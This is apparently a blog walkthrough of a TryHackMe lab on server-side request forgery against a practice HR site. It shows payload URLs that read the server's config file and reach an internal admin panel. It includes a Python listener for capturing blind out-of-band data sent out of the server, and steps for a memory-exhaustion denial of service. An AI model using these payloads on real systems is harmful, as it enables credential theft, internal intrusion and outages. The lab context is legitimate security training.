November 22, 2026
SSRF | TryHackMe (THM)
room link: https://tryhackme.com/room/ssrfhr

By Dev
3 min read
SSRF is a web application security vulnerability that allows the attacker to force the server to make unauthorised requests to any local or external source on behalf of the web server. It allows an attacker to interact with internal systems.
SSRF can arise when user-provided data is used to construct a request, such as forming a URL. An attacker can manipulate a parameter value within the vulnerable software, effectively creating or controlling requests from that software and directing them towards other servers or even the same server.
In this walkthrough, We'll break down four practical SSRF attack vectors — local file inclusion via loopback, internal network pivoting, blind out-of-band exfiltration, and resource exhaustion .
1. Basic SSRF Against a Local Server
Basic SSRF is a web attack technique where an attacker tricks a server into making requests on their behalf, often targeting internal systems or third-party services.
The url parameter instructs the backend server to fetch and render a resource from localhost. Testing how the backend handles non-existent paths:http://hrms.thm/?url=localhost/hello
The application returns an error stating that hello.php was not found, confirming that the backend automatically appends .php to the supplied value and includes or fetches it locally.
By swapping copyright for config, we can force the server to load its own configuration file:http://hrms.thm/?url=localhost/config
Because the application renders the fetched content directly in the page footer, sensitive internal details including database credentials and the internal IP address of an administrative interface
2. Pivoting to an Internal Network(Basic SSRF)
Attempting to navigate directly to [http://192.168.2.10/admin.php](http://192.168.2.10/admin.php) from our browser fails. 192.168.2.10 sits on a private, non-routable subnet isolated from external traffic only machines inside the internal network can reach it.
However, after logging into the HRMS dashboard, inspecting the HTML source of the employee lookup dropdown reveals how the application pulls data behind the scenes:
<select name="category">
<option value="http://192.168.2.10/employees.php">Employees</option>
<option value="http://192.168.2.10/salary.php">Salary</option>
</select><select name="category">
<option value="http://192.168.2.10/employees.php">Employees</option>
<option value="http://192.168.2.10/salary.php">Salary</option>
</select>The frontend passes a full internal URL directly to the backend, which fetches the content on the user's behalf. Using the browser's Inspect Element tool , we modify the value attribute of the Salary option to point to the restricted admin panel:
<option value="http://192.168.2.10/admin.php">Salary</option><option value="http://192.168.2.10/admin.php">Salary</option>Selecting that option from the dropdown forces the web server which does have a route to 192.168.2.10to fetch admin.php and render it directly in our browser session, bypassing the network boundary completely.
3. Blind SSRF with Out-of-Band (OOB) Exfiltration
Blind SSRF_ occurs when a server makes forged requests on an attacker's behalf but doesn't return direct responses or feedback in the application output._
With Out-of-Band (OOB) Blind SSRF, attackers use an external communication channel (such as a DNS lookup or HTTP request to a controlled server) to confirm exploitation when direct responses aren't visible.
Navigating to the Profile tab redirects to:http://hrms.thm/profile.php?url=localhost/getInfo.php
The page simply displays a status message saying data is being sent.
Instead of fetching data from $targetUrl, the server captures its full phpinfo() output and sends it via an HTTP POST request to whatever URL is specified in the url parameter.
To capture this out-of-band data, we can spin up a lightweight Python HTTP listener on our attacking machine (server.py) that logs incoming POST bodies to a local file:
from http.server import SimpleHTTPRequestHandler, HTTPServer
from urllib.parse import unquote
class CustomRequestHandler(SimpleHTTPRequestHandler):
def end_headers(self):
self.send_header('Access-Control-Allow-Origin', '*') # Allow requests from any origin
self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
self.send_header('Access-Control-Allow-Headers', 'Content-Type')
super().end_headers()
def do_GET(self):
self.send_response(200)
self.end_headers()
self.wfile.write(b'Hello, GET request!')
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length).decode('utf-8')
self.send_response(200)
self.end_headers()
# Log the POST data to data.html
with open('data.html', 'a') as file:
file.write(post_data + '\n')
response = f'THM, POST request! Received data: {post_data}'
self.wfile.write(response.encode('utf-8'))
if __name__ == '__main__':
server_address = ('', 8080)
httpd = HTTPServer(server_address, CustomRequestHandler)
print('Server running on http://localhost:8080/')
httpd.serve_forever()
from http.server import SimpleHTTPRequestHandler, HTTPServer
from urllib.parse import unquote
class CustomRequestHandler(SimpleHTTPRequestHandler):
def end_headers(self):
self.send_header('Access-Control-Allow-Origin', '*') # Allow requests from any origin
self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
self.send_header('Access-Control-Allow-Headers', 'Content-Type')
super().end_headers()
def do_GET(self):
self.send_response(200)
self.end_headers()
self.wfile.write(b'Hello, GET request!')
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length).decode('utf-8')
self.send_response(200)
self.end_headers()
# Log the POST data to data.html
with open('data.html', 'a') as file:
file.write(post_data + '\n')
response = f'THM, POST request! Received data: {post_data}'
self.wfile.write(response.encode('utf-8'))
if __name__ == '__main__':
server_address = ('', 8080)
httpd = HTTPServer(server_address, CustomRequestHandler)
print('Server running on http://localhost:8080/')
httpd.serve_forever()
Opening data.html reveals the target's full PHP environment configuration, server paths, loaded modules, and environment variables—turning a blind request into full reconnaissance.
4. Denial of Service: Crashing the Server via SSRF
SSRF can also be exploited to cause a Denial of Service (DoS) by forcing a server to process large or resource-intensive responses.
- Log in to the HRMS dashboard and navigate to the Training tab.
- Observe that the application loads training content through:
http://hrms.thm/url.php?id=192.168.2.10/trainingbanner.jpg - Test SSRF by changing the URL to:
http://hrms.thm/url.php?id=10.10.10.10 - The application successfully fetches the requested resource, confirming basic SSRF.
- Inspect the
url.phpsource code and notice that images larger than 100 KB trigger a memory-related error. - Now, request an image larger than 100 KB:
http://hrms.thm/url.php?id=192.168.2.10/bigImage.jpg